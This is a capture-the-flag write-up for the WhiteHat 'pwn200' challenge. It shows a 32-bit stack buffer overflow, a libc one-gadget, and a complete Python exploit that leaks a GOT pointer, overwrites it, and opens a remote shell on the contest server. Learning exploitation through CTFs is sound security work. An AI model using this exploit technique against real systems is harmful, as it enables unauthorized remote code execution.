Skip to content
This repository has been archived by the owner on Apr 30, 2019. It is now read-only.

Latest commit

 

History

History
138 lines (106 loc) · 4.6 KB

pwn200.md

File metadata and controls

138 lines (106 loc) · 4.6 KB

Solved by superkojiman, barrebas, and et0x

We're given a 32-bit binary and a copy of libc.so.6 used on the target. A disassembly of the binary showed an obvious buffer overflow:

int sub_804863D()
{
  size_t v0; // eax@1
  int buf; // [sp+10h] [bp-80h]@1

  memset(&buf, 0, 128u);
  read(0, &buf, 1024u);
  v0 = strlen((const char *)&buf);
  write(0, &buf, v0);
  return 0;
}

A buffer of 128 bytes is zeroed out using memset, and then the binary reads 1024 bytes of data into it. The read data is then printed out to the user. The only defenses built into the binary was NX, and we assumed the target had ASLR enabled.

If we input 144 bytes, we overwrite EIP.

koji@pwnbox32:~/Desktop/pwn002$ python -c 'print "A"*140 + "B"*4' > in.txt
koji@pwnbox32:~/Desktop/pwn002$ ./pwn200 < in.txt 
Segmentation fault (core dumped)
koji@pwnbox32:~/Desktop/pwn002$ gdb -batch -c core -n -ex 'p $eip'
[New LWP 2848]
Core was generated by `./pwn200'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
$1 = (void (*)()) 0x42424242

All that was left was to figure out where to return to. Since we already had a copy of the target's libc, I decided to search for a one-gadget RCE that would essentially execute execve("/bin/sh"). Using IDA, I found one such instance:

.text:0003FB8F                 mov     eax, ds:(environ_ptr_0 - 1A7000h)[ebx]
.text:0003FB95                 mov     ds:(dword_1A8620 - 1A7000h)[ebx], 0
.text:0003FB9F                 mov     ds:(dword_1A8624 - 1A7000h)[ebx], 0
.text:0003FBA9                 mov     eax, [eax]
.text:0003FBAB                 mov     [esp+16Ch+var_164], eax
.text:0003FBAF                 lea     eax, [esp+16Ch+var_138]
.text:0003FBB3                 mov     [esp+16Ch+var_168], eax
.text:0003FBB7                 lea     eax, (aBinSh - 1A7000h)[ebx] ; "/bin/sh"
.text:0003FBBD                 mov     [esp+16Ch+status], eax
.text:0003FBC0                 call    execve

Great, all we needed to do now was leak libc's base address, and we were good to go. Barrebas took care of that.

When I entered this CTF, the guys had already made quite some progress. They figured out they could leak memory by returning to write(). Superkojiman had found the one-gadget RCE address. All I had to do was leak a GOT pointer using write, apply the right offset and have the binary read in that new address into a GOT pointer. Finally, return to a PLT entry to jump to the one-gadget RCE & enjoy the shell!

from socket import *
import struct, telnetlib, re, sys, time

def readtil(delim):
    buf = b''
    while not delim in buf:
        buf += s.recv(1)
    return buf

def sendln(b):
    s.send(b + b'\n')

def sendbin(b):
    s.sendall(b)

def p(x):
    return struct.pack('<L', x & 0xffffffff)
    
def pwn():
    global s
    s=socket(AF_INET, SOCK_STREAM)
#   s.connect(('localhost', 6666))
    s.connect(('lab33.wargame.whitehat.vn', 10200))
    
    payload = ""
    payload += "A"*140  

    write   = 0x80484e0     # plt entry of write
    read    = 0x8048520     # plt entry of read
    pop3ret = 0x804876d     # 
    
    payload += p(write)     # first leak a libc address
    payload += p(pop3ret)
    payload += p(1)         # fd = stdout
    payload += p(0x804a020) # got pointer of libc_start_main
    payload += p(4)         # count

    payload += p(read)      # have the binary read in the new address
    payload += p(0x8048500) # plt entry of libc_start_main; will be overwritten with address of RCE gadget
    payload += p(0)         # fd = stdin
    payload += p(0x804a020) # got pointer of libc_start_main
    payload += p(4)         # read in 4 bytes
    
    s.send(payload)
    
    data = s.recv(len(payload)) # first, receive our input echoed back to us
    data = s.recv(4)        # this contains the libc_start_main address
    
    libc_start_main = struct.unpack('I', data)[0]
    
    # apply some offsets, really helps to have libc.so.6 available to us
    print "[+] Leaked libc_start_main: " + hex(libc_start_main)
    libc_rce = libc_start_main - 0x19970 + 0x3FB8F
    print "[+] Calced libc_rce: " + hex(libc_rce)
    
    # over on the server side, the binary should be waiting at our read() call
    time.sleep(0.1)
    s.send(p(libc_rce))
    
    print "[+] Enjoy your shell!"
    t = telnetlib.Telnet()
    t.sock = s

    t.interact()

    s.close()
pwn()

And running it versus the remote server:

bas@tritonal:~/tmp/wh/pwn200$ python poc1.py
[+] Leaked libc_start_main: 0xf74d1970
[+] Calced libc_rce: 0xf74f7b8f
[+] Enjoy your shell!
id
uid=1003 gid=1003
cat /home/*/flag
WhiteHat{bccd54b76eaa8891d8704b3d194bfeb284d1e7c2}

Great team effort!